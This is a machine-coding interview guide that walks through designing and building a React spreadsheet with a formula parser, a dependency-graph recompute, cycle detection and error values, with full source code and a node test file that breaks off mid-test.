Spreadsheet / Excel with Formulas

Problem: Build a small spreadsheet: a grid of cells where each cell holds a value or a formula (`=A1+B2*2` , `=SUM(A1:A5)`). Show computed values in the grid and the raw formula in a formula bar. When a cell changes, every cell that depends on it must update. Handle errors and circular references.

Often asked at: Google, Rippling, Atlassian

Why it matters: cell dependency graph, re-computing values

Tech stack: React (Vite, JavaScript) (default, not specified)

Time limit: 60 minutes (default, not specified)

PART A: Thought process

The general steps for any machine coding task

1. **Understand the requirements:** functional, non-functional, clarifying questions, assumptions.
2. **List the interactions:** every action and its expected result. This becomes your checklist.
3. **Design the architecture:** components and their single responsibility.
4. **Design the state:** the smallest state that can describe the UI; derive the rest.
5. **Design data and contracts:** data shapes, function signatures, component props.
6. **Trace the data flow** of one key interaction end to end.
7. **Find the hard parts early** and decide how to solve them.
8. **Build in layers:** simplest working version first, then add one working layer at a time.
9. **Cover states and edge cases.**
10. **Wrap up:** trade-offs and what you would add with more time.

Time budget for 60 minutes

Phase	Time
Requirements, clarifying questions, assumptions	5 min
Interactions, architecture, state, contracts	7 min
Grid rendering + select + edit raw values (no formulas yet)	10 min
Tokenizer + parser + evaluator (pure, tested in isolation)	13 min
Dependency graph + recompute dependents in order	10 min
Cycle detection + error values	6 min
Formula bar + keyboard navigation	6 min
Edge cases, wrap-up, trade-offs	3 min

Think out loud

The interviewer grades how you think, not only what you type. Say each decision and its reason: *"I'll keep the formula engine as pure functions with no React, so I can test it with node and the UI stays thin."* When you take a shortcut, name it: *"I'll recompute with a topological sort over the affected cells only; for a 200-cell grid even a full recompute would be fine, but this is what scales."* If you get stuck, say what you're trying; the interviewer can only help if they know.

PART B: Apply it to this problem

1. Understand the requirements

Functional requirements

- Render a grid with column headers (A, B, C...) and row numbers (1, 2, 3...).
- Click a cell to select it; the formula bar shows its **raw** content.
- Edit a cell by typing, double-clicking, Enter/F2, or through the formula bar.
- A cell holds a number, text, or a formula starting with `=`.
- Formulas support `+ - * /`, parentheses, unary minus, cell references (`A1`), ranges (`A1:B3`) and functions `SUM`, `AVG`, `MIN`, `MAX`, `COUNT`.
- Grid cells show the **computed** value; when a cell changes, all cells that depend on it (directly or indirectly) update.
- Show Excel-style errors: `#ERROR!` (syntax), `#REF!` (bad reference), `#DIV/0!`, `#VALUE!` (text in math), `#NAME?` (unknown function), `#CYCLE!` (circular reference).
- Keyboard: arrows move, Enter commits and moves down, Tab commits and moves right, Escape cancels, Delete clears.

Non-functional requirements

Area	What it means here
Performance	Changing one cell recomputes only that cell and its dependents, not the whole sheet; unchanged cells don't re-render.
Scalability	The engine knows nothing about React; it can move to a Web Worker or the server. Grid size is a constant.
Error handling	A bad formula never crashes the app; it becomes an error value in that cell and propagates to dependents.
Accessibility	Grid is a `role="grid"` table with `aria-activedescendant`, full keyboard use, labelled formula bar input.
Reusability	`engine/` (grid, formula, sheet) is pure and reusable; components only render and dispatch.
Extensibility	Adding a function is one line in the `FUNCTIONS` map; adding an operator is one grammar level.

Clarifying questions to ask the interviewer

1. Which formula features matter: only `+ - * /` and references, or also ranges and functions like `SUM`? (Decides if we need a real parser.)
2. How big is the grid: a fixed small grid (e.g. 10 x 20) or "Excel-sized" (thousands of rows)? (Decides virtualization and recompute strategy.)
3. What should happen with a circular reference: block the edit, or show an error in the cells?
4. Do we need persistence (localStorage / backend) or multi-user editing?
5. Is clicking a cell while typing a formula supposed to insert its reference (`=A1+` then click B2)? Or is click just "select"?
6. Do we need copy/paste with relative references, undo/redo, or formatting? (Usually "no" for 60 minutes.)

Assumptions we will build with

- Fixed grid of **20 rows x 10 columns** (A-J), single-letter columns.
- Formulas: `+ - * /`, parentheses, unary minus, refs, ranges, `SUM AVG MIN MAX COUNT` (case-insensitive).
- Circular references are allowed to be typed but every cell on (or reading from) the cycle shows `#CYCLE!`; fixing any cell in the cycle recovers all of them.
- Empty cells count as 0 in arithmetic; text in arithmetic is `#VALUE!`; ranges skip empty and text cells (like Excel).
- In-memory only; no persistence, no collaboration, no copy/paste, no undo.
- Clicking a cell while editing commits the edit and selects that cell (no reference insertion).

---

2. Identify interactions / use cases

Action / input	Expected behavior / output
Page load	Empty grid, A1 selected, grid focused, formula bar empty
Click a cell	Cell selected (blue outline), formula bar shows its raw text
Arrow keys	Selection moves, clamped at grid edges
Type a character on a selected cell	Editing starts in the cell, the content is replaced by that character
Double-click / Enter / F2	Editing starts with the existing raw text
Enter while editing	Commit, move down
Tab / Shift+Tab while editing	Commit, move right / left
Escape while editing	Discard the draft, keep the old value
Type in the formula bar, press Enter	Commit to the selected cell, move down, focus back to grid
Click another cell while editing	Commit the edit, then select the new cell
Delete / Backspace on a selected cell	Cell cleared; dependents recompute (it counts as 0)

Action / input	Expected behavior / output
`A1 = 2`, `B1 = =A1*3`	B1 shows `6`; formula bar on B1 shows `=A1*3`
Change A1 to `5`	B1 updates to `15`, and so does anything reading B1
Formula written before its input (`C1 = =D1+1`, then `D1 = 4`)	C1 updates from `1` to `5`
`=SUM(A1:A5)` with some text/empty cells in range	Sum of the numeric cells only
`=1/0`	`#DIV/0!` (red)
`=A1+1` where A1 is `hello`	`#VALUE!`
`=Z99` / `=FOO(1)` / `=1+`	`#REF!` / `#NAME?` / `#ERROR!`
A cell reads an error cell	Shows the same error (propagation)
`A1 = =B1`, `B1 = =A1`	Both show `#CYCLE!`; cells reading them too
Fix A1 to `3`	B1 becomes `3`, cycle errors disappear
`=0.1+0.2`	Shows `0.3`, not `0.30000000000000004`

This table is the checklist: build until every row works, then use the rows as test cases.

---

3. Design the architecture

Split by **what changes for different reasons**: grid geometry, formula language, dependency graph, UI state, and rendering.

Module	Responsibility
`engine/grid.js`	Grid size, id <-> row/col conversion, moving, expanding ranges
`engine/formula.js`	Tokenizer, recursive-descent parser (text -> AST), dependency collection, evaluator
`engine/sheet.js`	The sheet model: `setCell`, dependency graph (reverse edges), topological recompute, cycle detection
`state/reducer.js`	UI state: selected cell, edit draft; commits drafts into the sheet
`Spreadsheet.jsx`	Owns `useReducer`, renders headers + rows, keyboard handling
`Cell.jsx`	One `<td>`: shows the computed value or the in-cell input (memoized)
`FormulaBar.jsx`	Shows / edits the raw text of the selected cell

```
App
└── Spreadsheet            useReducer(reducer) -> { sheet, selected, edit }
    ├── FormulaBar         raw text of selected cell, dispatches 'edit'
    └── table[role=grid]   keyboard: move / edit / clear
        └── Cell x 200     memo; value or <input>; dispatches 'select' / 'edit'
```

```
reducer ──> engine/sheet.setCell ──> engine/formula.parse / evaluate
                                 └──> engine/grid helpers
```

Start simple: one `Spreadsheet` component with a `raw` map and `display = raw` works in 5 minutes. The engine split appears as soon as formulas arrive, because the parser and the graph are pure logic you want to test without a browser.

---

4. Design the state / data model

State or field	Purpose
`sheet.cells[id].raw`	What the user typed: `'=A1+B1'`, `'42'`, `'hello'`. The source of truth.
`sheet.cells[id].ast`	Parsed formula, cached so recompute doesn't re-parse. `null` for constants.
`sheet.cells[id].deps`	Cells this formula reads (forward edges).
`sheet.cells[id].value`	Computed value: number, string, `''` or `{ error: '#CODE' }`.
`sheet.dependents[id]`	Reverse edges: who reads `id`. Answers "what must recompute when `id` changes".
`selected`	Id of the selected cell (`'A1'`).
`edit`	`null` when not editing, else `{ text, inCell }`: the draft and where it is being typed.

```
// state/reducer.js
export const initialState = {
  sheet: { cells: {}, dependents: {} },   // empty cells are simply absent (sparse)
  selected: 'A1',
  edit: null,                             // { text: '=A1*2', inCell: true }
};
```

Senior notes

- **Derived vs stored.** Strictly, `ast`, `deps`, `value` and `dependents` are all derivable from `raw`. We store them on purpose as a **cache**: recomputing everything from `raw` on every keystroke means re-parsing every formula and losing the "recompute only dependents" property. They are only ever written by `setCell`, in one place, so they cannot drift.
- **What we don't store:** the formula bar text (it is `edit?.text ?? raw`), whether a cell is an error / number (derived from `value` while rendering), row/column arrays (constants).
- **Sparse map, not a 2D array.** Most cells are empty; `{ A1: ... }` costs memory only for used cells and makes ids stable keys for the graph.
- **Who owns what.** The reducer owns all state; `sheet` is only changed through the pure `setCell(sheet, id, raw)`. Components never touch the graph. `dispatch` is stable, so memoized cells don't re-render when their props don't change.
- **Draft separate from the sheet.** Typing doesn't recompute anything; only commit does. Escape is just `edit = null`.

---

5. Design the data structures and contracts

Example data

```
// After typing A1 = 2, B1 = 3, C1 = =A1+B1, D1 = =SUM(A1:C1)
{
  cells: {
    A1: { raw: '2',          ast: null, deps: [],                  value: 2 },
    B1: { raw: '3',          ast: null, deps: [],                  value: 3 },
    C1: { raw: '=A1+B1',     ast: { type: 'bin', op: '+', ... },
                             deps: ['A1', 'B1'],                    value: 5 },
    D1: { raw: '=SUM(A1:C1)', ast: { type: 'call', name: 'SUM', ... },
                             deps: ['A1', 'B1', 'C1'],              value: 10 },
  },
  dependents: { A1: ['C1', 'D1'], B1: ['C1', 'D1'], C1: ['D1'] },
}
```

Cell ids (`'A1'`) are the stable keys: they never change when values change, so they work as React keys, graph node ids and DOM ids (`cell-A1` for `aria-activedescendant`).

AST node shapes

```
{ type: 'num',   value: 2 }
{ type: 'ref',   id: 'A1' }
{ type: 'range', from: 'A1', to: 'C1' }
{ type: 'neg',   arg: Node }
{ type: 'bin',   op: '+' | '-' | '*' | '/', left: Node, right: Node }
{ type: 'call',  name: 'SUM', args: Node[] }
```

`=2+A1*3` becomes:

```
bin(+)
├── num 2
└── bin(*)
    ├── ref A1
    └── num 3
```

Contracts (there is no API, the engine is the contract)

Function	Input	Output
`tokenize(src)`	`'SUM(A1:A3)*2'`	`[{type:'name',value:'SUM'}, {type:'op',value:'('}, ...]` , throws `#ERROR!` on bad characters
`parse(src)`	formula text without `=`	AST, throws `FormulaError('#ERROR!')` on bad syntax
`collectDeps(ast)`	AST	`Set` of cell ids (ranges expanded)
`evaluate(ast, get)`	AST + `get(id) => value`	number, or throws `FormulaError(code)`

Function	Input	Output
`setCell(sheet, id, raw)`	old sheet, id, raw text	**new** sheet with graph + values updated (never mutates)
`display(value)`	cell value	string to show (`'0.3'` , `'#DIV/0!'` , `'hello'`)

Reducer actions:

```
{ type: 'select', id: 'B2' }              // commit draft, select
{ type: 'move', dr: 1, dc: 0 }            // commit draft, move selection
{ type: 'edit', text?: '=A', inCell?: true } // start / continue editing
{ type: 'cancel' }                        // drop draft
{ type: 'clear' }                         // empty the selected cell
```

Component props:

```
<Cell id="B2" value={6} isSelected editText={null} dispatch={dispatch} />
<FormulaBar id="B2" value="=A1*3" dispatch={dispatch} onKeyDown={onEditKey} />
```

---

6. Trace the data flow

User changes A1 from `2` to `5` while `C1 = =A1+B1` and `D1 = =C1*2`.

```
User selects A1, types "5", presses Enter
   │
   ▼
onGridKey: '5' is printable ─► dispatch({ type:'edit', text:'5', inCell:true })
   │                            (Cell A1 renders an <input autoFocus> with "5")
   ▼
Enter (bubbles from input to table) ─► onEditKey ─► dispatch({ type:'move', dr:1, dc:0 })
   │
   ▼
reducer 'move' ─► commit(state): draft '5' !== raw '2' ─► setCell(sheet, 'A1', '5')
   │
   ▼
setCell
   1. remove old edges of A1 (none: it was a constant)
   2. compile('5') ─► { ast:null, deps:[], value:5 }
   3. add new edges (none)
   4. recompute(cells, dependents, 'A1')
        affected   = A1 → dependents → C1 → D1            = {A1, C1, D1}
        pending    = { A1:0, C1:1 (A1), D1:1 (C1) }        (B1 is not affected, not counted)
        ready=[A1] → value 5      → C1 pending 0 → ready
        ready=[C1] → 5 + 3 = 8    → D1 pending 0 → ready
        ready=[D1] → 8 * 2 = 16
        pending empty → no cycle
   │
   ▼
new state { sheet', selected:'A2', edit:null }
   │
   ▼
```

```
React re-renders: only Cells whose props changed (A1, C1, D1 values; A1/A2 selection)
useEffect([edit]) → edit is null → focus the grid again
```

---

7. Important technical challenges

Challenge 1: Parsing formulas with correct precedence

Problem. `=2+A1*3` must be `2 + (A1*3)`, not `(2+A1)*3`. `=-A1*2`, `=(1+2)*3`, `=SUM(A1:A3, 5)/2` must all work. `eval()` is tempting but it's a security hole (the user can type any JavaScript), it doesn't understand `A1` or `A1:A3`, and it can't give Excel error codes.

Solution. A tokenizer (one sticky regex) plus a **recursive-descent parser** with one function per precedence level. Lower precedence calls higher: `expr` (+ -) calls `term` (* /) calls `factor` (numbers, refs, calls, parentheses, unary minus). The call stack itself enforces precedence and left-to-right associativity.

```
//   expr   = term (('+' | '-') term)*
//   term   = factor (('*' | '/') factor)*
//   factor = '-' factor | NUMBER | REF (':' REF)? | NAME '(' args ')' | '(' expr ')'
function expr() {
  let node = term();
  while (peek() === '+' || peek() === '-') {
    const op = tokens[i++].value;
    node = { type: 'bin', op, left: node, right: term() }; // loop = left-assoc: 1-2-3 = (1-2)-3
  }
  return node;
}
```

Parse once into an AST, evaluate many times: recomputes don't re-parse, and the same AST gives us the dependency list.

Challenge 2: Recomputing dependents in the right order (the dependency graph)

Problem. `B1 = =A1+1`, `C1 = =A1*10`, `D1 = =B1+C1`. Change A1. If D1 recomputes before B1 or C1, it uses stale values. A naive "recursively recompute dependents" (DFS) evaluates D1 **twice** (once via B1, once via C1), and on wide sheets that becomes exponential. Recomputing the **whole** sheet on each edit is correct but wastes work on unrelated cells.

Solution. Keep reverse edges (`dependents`). On edit:

1. Walk `dependents` from the changed cell to collect the **affected subgraph**.
2. **Topologically sort** it with Kahn's algorithm: each affected cell counts how many of its *affected* inputs are still pending; evaluate cells whose count is 0; decrementing counts releases the next ones.

Each affected cell is evaluated exactly once, after all of its inputs.

```
const pending = new Map();
for (const id of affected) {
  pending.set(id, (cells[id]?.deps ?? []).filter((d) => affected.has(d)).length);
}
const ready = [...affected].filter((id) => pending.get(id) === 0);
```

```
while (ready.length) {
  const id = ready.pop();
  pending.delete(id);
  if (cells[id]) cells[id] = { ...cells[id], value: evaluateCell(cells[id], get) };
  for (const d of dependents[id] ?? []) {
    if (!pending.has(d)) continue;
    pending.set(d, pending.get(d) - 1);
    if (pending.get(d) === 0) ready.push(d);
  }
}
```

Also important: when a formula changes, **remove its old edges** before adding new ones, otherwise `B1` keeps recomputing when a cell it no longer reads changes.

Challenge 3: Circular references

Problem. `A1 = =B1`, `B1 = =A1+1`. A recursive evaluator overflows the stack (`Maximum call stack size exceeded`) and the tab freezes. And a cell like `C1 = =B1` is not *in* the cycle but can't have a value either.

Solution. Kahn's algorithm detects cycles for free: cells on a cycle never reach `pending = 0`, and neither does anything downstream of them. Whatever is left in `pending` after the loop gets `#CYCLE!`.

```
for (const id of pending.keys()) cells[id] = { ...cells[id], value: { error: '#CYCLE!' } };
```

Recovery also falls out: when the user fixes A1 to `5`, A1's dependents (B1, then C1) are in the affected set, get recomputed, and the errors disappear. No separate "cycle state" to clean up.

Challenge 4: Errors as values, not exceptions that escape

Problem. `=1/0`, `=hello+1`, `=Z99`, `=1+` must not crash React. And if `B1` is `#DIV/0!`, then `C1 = =B1+1` must show `#DIV/0!` too, not `NaN` or `1`.

Solution. Inside the engine, errors are thrown as `FormulaError(code)` (simple to write deep in recursion). At the cell boundary they are caught and **stored as a value** `{ error: code }`. When another formula reads that cell, `toNumber` re-throws the same code, so errors propagate naturally. Any unexpected JS error becomes `#ERROR!` instead of breaking the app.

```
function toNumber(v) {
  if (v?.error) fail(v.error);                 // propagate
  if (v === '' || v === undefined) return 0;   // empty cell
  if (typeof v === 'number') return v;
  fail('#VALUE!');                             // text in arithmetic
}

function evaluateCell(cell, get) {
  if (!cell.ast) return cell.value;
  try { return evaluate(cell.ast, get); }
  catch (e) { return { error: e instanceof FormulaError ? e.message : '#ERROR!' }; }
}
```

An object `{ error }` instead of a string like `'#DIV/0!'` means a user who types the text `#DIV/0!` is not confused with a real error.

---

8. Implement in the correct order

#	Step	Working result
1	`grid.js` : `ROWS` , `COLS` , `colName` , `toId` ; render headers + 20x10 table	Static grid on screen
2	State `{ cells: { id: raw } }` , click to select, outline the selected cell	Selection works
3	Formula bar bound to the selected cell's raw text; Enter commits	Can store plain values
4	`tokenize` + `parse` + `evaluate` for numbers and `+ - * /` (node test)	`=1+2*3` shows 7
5	Cell references with `get(id)` ; recompute **all** cells on every commit	`=A1*2` works, updates (naive)
6	Errors as values: `FormulaError` , `{ error }` , `#DIV/0! #VALUE! #REF! #ERROR!`	Bad formulas show codes, no crash
7	`deps` + `dependents` graph; recompute only affected cells with Kahn's sort	Efficient, correct order
8	Cycle detection from leftover `pending` -> `#CYCLE!` ; recovery test	No stack overflow
9	Ranges + `SUM AVG MIN MAX COUNT`	`=SUM(A1:A5)` works
10	Move to `useReducer` ; in-cell editing, keyboard (arrows, Enter, Tab, Esc, Delete, type-to-edit)	Excel-like editing
11	`memo(Cell)` + stable `dispatch` ; ARIA grid; number alignment, error colour	Polished, fast
12	Run the self-check `sheet.test.js` , walk the interaction table	Done

Step 5 is deliberately naive: it gives a working spreadsheet early. Step 7 replaces it, and the node tests from step 4 prove nothing regressed.

---

9. Cover all states and edge cases

State / edge case	Handling
Initial	Empty sparse map, A1 selected, grid focused
Editing (in cell)	`edit = { text, inCell: true }` : input in the cell, mirrored in the formula bar
Editing (formula bar)	`edit = { text, inCell: false }` : no in-cell input, so the cell doesn't steal focus
Commit with unchanged text	No `setCell` , no recompute
Cancel (Escape)	`edit = null` , value untouched
Empty cell referenced	Counts as `0` in arithmetic, skipped in ranges
Cleared cell	Removed from `cells` , its outgoing edges removed, dependents recompute
Number vs text	`'42'` and `' 42 '` become numbers; `'42abc'` and `''` don't

State / edge case	Handling
Leading `=` with nothing after (`=`)	`#ERROR!`
Lowercase formula (`=sum(a1:a3)`)	Upper-cased before tokenizing
Reversed range (`=SUM(B3:A1)`)	`expandRange` uses min/max
Out-of-grid reference (`=Z99`, `=AA1`)	`#REF!`
Unknown function	`#NAME?`
`AVG` of an empty range	`#DIV/0!` (like Excel)
Divide by zero / by empty cell	`#DIV/0!`
Range used outside a function (`=A1:A3`)	`#VALUE!`
Error in an input	Same error propagates downstream
Self reference (`A1 = =A1`)	`#CYCLE!`
Cycle + cells reading it	All `#CYCLE!`; recover when the cycle is broken
Floating point (`=0.1+0.2`)	Display rounds to 12 significant digits
Formula typed before its inputs exist	Edges point to empty cells; filling them later recomputes the formula
Click on the editing cell's own input	`select` of the same id is a no-op, so the edit isn't committed mid-typing
Arrow keys while editing	Move the text caret, not the selection (Excel "edit mode")
Edges of grid	`moveId` clamps
Long values	`text-overflow: ellipsis`; full text visible in the formula bar

10. Final structure

```
_63_spreadsheet_excel_formulas/
├── index.html
├── package.json
├── vite.config.js
└── src/
    ├── main.jsx
    ├── App.jsx
    ├── styles.css
    ├── components/
    │   ├── Spreadsheet.jsx     // useReducer, table, keyboard
    │   ├── Cell.jsx            // memoized <td>: value or in-cell input
    │   └── FormulaBar.jsx      // raw text of the selected cell
    ├── state/
    │   └── reducer.js          // select / move / edit / cancel / clear
    └── engine/                 // pure JS, no React
        ├── grid.js             // ids, ranges, moving
        ├── formula.js          // tokenizer, parser, evaluator
```

```
        ├── sheet.js            // dependency graph + recompute
        └── sheet.test.js       // node assert self-check
```

11. Full working code

Create the app with `npm create vite@latest` (React, JavaScript), then replace `src/` with the files below. Run the engine check with `node src/engine/sheet.test.js` (add `"type": "module"` to `package.json`; Vite templates already have it).

src/engine/grid.js

```
// Grid geometry only: ids like "B12" <-> { r: 11, c: 1 }. No React, no formulas.
export const ROWS = 20;
export const COLS = 10; // A..J, single-letter columns keep parsing trivial

export const colName = (c) => String.fromCharCode(65 + c);
export const toId = (r, c) => `${colName(c)}${r + 1}`;

// Returns null for anything outside the grid, so callers can report #REF!
export function parseId(id) {
  const m = /^([A-Z])(\d+)$/.exec(id);
  if (!m) return null;
  const r = Number(m[2]) - 1;
  const c = m[1].charCodeAt(0) - 65;
  return r >= 0 && r < ROWS && c < COLS ? { r, c } : null;
}

const clamp = (n, max) => Math.max(0, Math.min(n, max));

export function moveId(id, dr, dc) {
  const { r, c } = parseId(id);
  return toId(clamp(r + dr, ROWS - 1), clamp(c + dc, COLS - 1));
}

// "A1","B3" -> ["A1","B1","A2","B2","A3","B3"]; works for reversed ranges too
export function expandRange(from, to) {
  const a = parseId(from);
  const b = parseId(to);
  if (!a || !b) return [];
  const ids = [];
  for (let r = Math.min(a.r, b.r); r <= Math.max(a.r, b.r); r++) {
    for (let c = Math.min(a.c, b.c); c <= Math.max(a.c, b.c); c++) ids.push(toId(r, c));
  }
  return ids;
}
```

src/engine/formula.js

```
// Formula text -> tokens -> AST -> number. Pure functions, no knowledge of React or the sheet.
import { parseId, expandRange } from './grid.js';

// message is the Excel-style code shown in the cell: #ERROR!, #REF!, #DIV/0!, #VALUE!, #NAME?
export class FormulaError extends Error {}
const fail = (code) => {
```

```
  throw new FormulaError(code);
};

// numbers | cell refs (A1) | function names (SUM) | operators
const TOKEN = /\s*(?:(\d+(?:\.\d+)?)|([A-Z]+\d+)|([A-Z]+)|([-+*/(),:]))/y;

export function tokenize(src) {
  const text = src.trim().toUpperCase();
  const tokens = [];
  TOKEN.lastIndex = 0;
  while (TOKEN.lastIndex < text.length) {
    const m = TOKEN.exec(text);
    if (!m) fail('#ERROR!');
    if (m[1]) tokens.push({ type: 'num', value: Number(m[1]) });
    else if (m[2]) tokens.push({ type: 'ref', value: m[2] });
    else if (m[3]) tokens.push({ type: 'name', value: m[3] });
    else tokens.push({ type: 'op', value: m[4] });
  }
  return tokens;
}

// Recursive descent, one function per precedence level:
//   expr   = term (('+' | '-') term)*
//   term   = factor (('*' | '/') factor)*
//   factor = '-' factor | NUMBER | REF (':' REF)? | NAME '(' args ')' | '(' expr ')'
export function parse(src) {
  const tokens = tokenize(src);
  let i = 0;
  const peek = () => tokens[i]?.value;
  const eat = (value) => (peek() === value ? i++ : fail('#ERROR!'));

  function expr() {
    let node = term();
    while (peek() === '+' || peek() === '-') {
      const op = tokens[i++].value;
      node = { type: 'bin', op, left: node, right: term() };
    }
    return node;
  }

  function term() {
    let node = factor();
    while (peek() === '*' || peek() === '/') {
      const op = tokens[i++].value;
      node = { type: 'bin', op, left: node, right: factor() };
    }
    return node;
  }

  function factor() {
    const t = tokens[i++];
    if (!t) fail('#ERROR!');
    if (t.value === '-') return { type: 'neg', arg: factor() };
    if (t.value === '+') return factor();
    if (t.type === 'num') return { type: 'num', value: t.value };
    if (t.value === '(') {
      const node = expr();
      eat(')');
      return node;
    }
    if (t.type === 'ref') {
      if (peek() !== ':') return { type: 'ref', id: t.value };
```

```
      i++;
      const end = tokens[i++];
      if (end?.type !== 'ref') fail('#ERROR!');
      return { type: 'range', from: t.value, to: end.value };
    }
    if (t.type === 'name') {
      eat('(');
      const args = [];
      if (peek() !== ')') {
        args.push(expr());
        while (peek() === ',') {
          i++;
          args.push(expr());
        }
      }
      eat(')');
      return { type: 'call', name: t.value, args };
    }
    fail('#ERROR!');
  }

  const ast = expr();
  if (i < tokens.length) fail('#ERROR!'); // leftovers like "=1 2"
  return ast;
}

// Every cell this formula reads: these become the edges of the dependency graph.
export function collectDeps(node, out = new Set()) {
  switch (node.type) {
    case 'ref':
      out.add(node.id);
      break;
    case 'range':
      expandRange(node.from, node.to).forEach((id) => out.add(id));
      break;
    case 'bin':
      collectDeps(node.left, out);
      collectDeps(node.right, out);
      break;
    case 'neg':
      collectDeps(node.arg, out);
      break;
    case 'call':
      node.args.forEach((arg) => collectDeps(arg, out));
      break;
  }
  return out;
}

const sum = (xs) => xs.reduce((a, b) => a + b, 0);
const FUNCTIONS = {
  SUM: sum,
  AVG: (xs) => (xs.length ? sum(xs) / xs.length : fail('#DIV/0!')),
  MIN: (xs) => (xs.length ? Math.min(...xs) : 0),
  MAX: (xs) => (xs.length ? Math.max(...xs) : 0),
  COUNT: (xs) => xs.length,
};

// A cell value is a number, a string, '' (empty) or { error: '#CODE' }
function toNumber(v) {
  if (v?.error) fail(v.error); // errors propagate to every dependent
  if (v === '' || v === undefined) return 0;
```

```
  if (typeof v === 'number') return v;
  fail('#VALUE!'); // text used in arithmetic
}

function read(id, get) {
  if (!parseId(id)) fail('#REF!');
  return get(id);
}

// Like Excel, ranges skip empty and text cells but still propagate errors
function rangeNumbers({ from, to }, get) {
  const ids = expandRange(from, to);
  if (!ids.length) fail('#REF!');
  return ids.map(get).filter((v) => v?.error || typeof v === 'number').map(toNumber);
}

export function evaluate(node, get) {
  switch (node.type) {
    case 'num':
      return node.value;
    case 'ref':
      return toNumber(read(node.id, get));
    case 'neg':
      return -evaluate(node.arg, get);
    case 'bin': {
      const l = evaluate(node.left, get);
      const r = evaluate(node.right, get);
      if (node.op === '+') return l + r;
      if (node.op === '-') return l - r;
      if (node.op === '*') return l * r;
      return r === 0 ? fail('#DIV/0!') : l / r;
    }
    case 'call': {
      const fn = FUNCTIONS[node.name] ?? fail('#NAME?');
      const nums = node.args.flatMap((arg) =>
        arg.type === 'range' ? rangeNumbers(arg, get) : [evaluate(arg, get)],
      );
      return fn(nums);
    }
    case 'range':
      return fail('#VALUE!'); // "=A1:A3" outside a function
  }
}
```

src/engine/sheet.js

```
// The dependency graph: which cells feed which, and recomputing only what changed.
import { parse, collectDeps, evaluate, FormulaError } from './formula.js';

// cells:      { A1: { raw: '=B1+1', ast, deps: ['B1'], value: 6 } }   (empty cells are absent)
// dependents: { B1: ['A1'] }   reverse edges: "who must recompute when B1 changes"
export const emptySheet = { cells: {}, dependents: {} };

const toError = (e) => ({ error: e instanceof FormulaError ? e.message : '#ERROR!' });

// "=A1+2" -> formula, "42" -> number, anything else -> text
function compile(raw) {
  if (!raw.startsWith('=')) {
    const n = Number(raw);
    return { ast: null, deps: [], value: raw.trim() !== '' && !Number.isNaN(n) ? n : raw };
```

```
  }
  try {
    const ast = parse(raw.slice(1));
    return { ast, deps: [...collectDeps(ast)], value: '' };
  } catch (e) {
    return { ast: null, deps: [], value: toError(e) }; // syntax error: constant error value
  }
}

function evaluateCell(cell, get) {
  if (!cell.ast) return cell.value;
  try {
    return evaluate(cell.ast, get);
  } catch (e) {
    return toError(e);
  }
}

// Recompute `start` and everything downstream of it, each cell after all of its inputs.
function recompute(cells, dependents, start) {
  // 1. Collect the affected subgraph (start + transitive dependents)
  const affected = new Set([start]);
  const stack = [start];
  while (stack.length) {
    for (const d of dependents[stack.pop()] ?? []) {
      if (!affected.has(d)) {
        affected.add(d);
        stack.push(d);
      }
    }
  }

  // 2. Kahn's topological sort: a cell is ready when none of its affected inputs are pending
  const pending = new Map();
  for (const id of affected) {
    pending.set(id, (cells[id]?.deps ?? []).filter((d) => affected.has(d)).length);
  }
  const ready = [...affected].filter((id) => pending.get(id) === 0);
  const get = (id) => cells[id]?.value ?? '';

  while (ready.length) {
    const id = ready.pop();
    pending.delete(id);
    if (cells[id]) cells[id] = { ...cells[id], value: evaluateCell(cells[id], get) };
    for (const d of dependents[id] ?? []) {
      if (!pending.has(d)) continue;
      pending.set(d, pending.get(d) - 1);
      if (pending.get(d) === 0) ready.push(d);
    }
  }

  // 3. Whatever never became ready sits on a cycle (or reads from one)
  for (const id of pending.keys()) cells[id] = { ...cells[id], value: { error: '#CYCLE!' } };
}

// Pure: returns a new sheet, never mutates the old one (React state friendly).
export function setCell(sheet, id, raw) {
  const cells = { ...sheet.cells };
  const dependents = { ...sheet.dependents };

  for (const d of cells[id]?.deps ?? []) dependents[d] = dependents[d].filter((x) => x !== id);
```

```
  const cell = { raw, ...compile(raw) };
  for (const d of cell.deps) dependents[d] = [...(dependents[d] ?? []), id];

  if (raw === '') delete cells[id];
  else cells[id] = cell;

  recompute(cells, dependents, id);
  return { cells, dependents };
}

// 0.1 + 0.2 shows as 0.3, errors show their code
export function display(value) {
  if (value?.error) return value.error;
  if (typeof value === 'number') return String(Number(value.toPrecision(12)));
  return value ?? '';
}
```

src/engine/sheet.test.js

```
// node src/engine/sheet.test.js
import assert from 'node:assert/strict';
import { emptySheet, setCell, display } from './sheet.js';

const apply = (pairs) => pairs.reduce((s, [id, raw]) => setCell(s, id, raw), emptySheet);
const show = (s, id) => display(s.cells[id]?.value);

// arithmetic + precedence + parentheses + unary minus
let s = apply([['A1', '=1+2*3'], ['A2', '=(1+2)*3'], ['A3', '=-2*-3'], ['A4', '=0.1+0.2']]);
assert.equal(show(s, 'A1'), '7');
assert.equal(show(s, 'A2'), '9');
assert.equal(show(s, 'A3'), '6');
assert.equal(show(s, 'A4'), '0.3');

// formula written before its input, then the input changes -> dependents update
s = apply([['C1', '=A1+B1'], ['D1', '=C1*2'], ['A1', '2'], ['B1', '3']]);
assert.equal(show(s, 'C1'), '5');
assert.equal(show(s, 'D1'), '10');
s = setCell(s, 'A1', '10');
assert.equal(show(s, 'D1'), '26');

// diamond: B1 and C1 both read A1, D1 reads both -> D1 evaluated once, after both
s = apply([['A1', '1'], ['B1', '=A1+1'], ['C1', '=A1*10'], ['D1', '=B1+C1']]);
s = setCell(s, 'A1', '2');
assert.equal(show(s, 'D1'), '23');

// ranges and functions; text and empty cells are skipped inside ranges
s = apply([['A1', '1'], ['A2', '2'], ['A3', 'hi'], ['B1', '=SUM(A1:A4)'], ['B2', '=avg(a1:a2)'],
['B3', '=MAX(A1:A2, 7)']]);
assert.equal(show(s, 'B1'), '3');
assert.equal(show(s, 'B2'), '1.5');
assert.equal(show(s, 'B3'), '7');

// errors
s = apply([['A1', 'hi'], ['B1', '=1/0'], ['B2', '=A1+1'], ['B3', '=Z99'], ['B4', '=FOO(1)'], ['B5',
'=1+'], ['B6', '=B1+1']]);
assert.equal(show(s, 'B1'), '#DIV/0!');
assert.equal(show(s, 'B2'), '#VALUE!');
assert.equal(show(s, 'B3'), '#REF!');
assert.equal(show(s, 'B4'), '#NAME?');
assert.equal(show(s, 'B5'), '#ERROR!');
```

```
assert.equal(show(s, 'B6'), '#DIV/0!'); // error propagates

// cycles: self, two-cell, and a cell reading from a cycle; breaking it recovers
s = apply([['A1', '=A1']]);
